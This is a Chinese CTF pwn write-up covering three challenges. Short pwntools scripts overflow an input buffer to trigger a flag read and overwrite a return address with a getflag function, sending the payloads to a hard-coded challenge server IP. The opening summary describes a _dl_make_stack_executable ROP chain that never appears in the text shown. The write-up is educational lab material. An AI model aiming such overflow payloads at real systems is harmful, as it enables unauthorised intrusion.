Pwn

本文详细介绍了如何通过栈溢出利用技术,结合动态链接库函数_dl_make_stack_executable,使栈变得可执行,并布置shellcode以获取shell。首先通过IDA分析程序,发现存在栈溢出,然后逐步构造ROP链,包括改变_stack_prot值,设置eax为libc_stack_end地址,调用_dl_make_stack_executable函数,最后插入shellcode并寻找跳转到栈的指令完成执行。

Pwn1

拿到程序IDA分析


发现就是一个输入字符串,长度大于0x500就直接执行cat flag。虽然溢出了,但是和溢出没有太大关系

所以利用代码如下:

from pwn import *
p = remote ("139.224.220.67" ,30004)
payload = 'a'*0x501
p.sendline(payload)
p.interactive()


Pwn2

打开IDA分析,是一个经典的栈溢出,scanf输入的时候并没有对长度进行限制,因此可以一直覆盖到返回地址

那么我们可以把返回地址覆盖为题目中给出的getflag函数即可。



所以利用代码如下:

from pwn import *
p = remote ("139.224.220.67" ,30006)
e=ELF("chall")
payload = 'a'*0x108
payload += 'a'*0x4
payload += p32(e.symbols['getflag'])
p.sendline(payload)
p.interactive()


Pwn3

IDA分析一下


发现就是分配了一块内存,地址为0xdeadb000,然后从输入流读入数据到该地址,然后执行该地址的内容。

即程序会执行我们输入的机器码。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值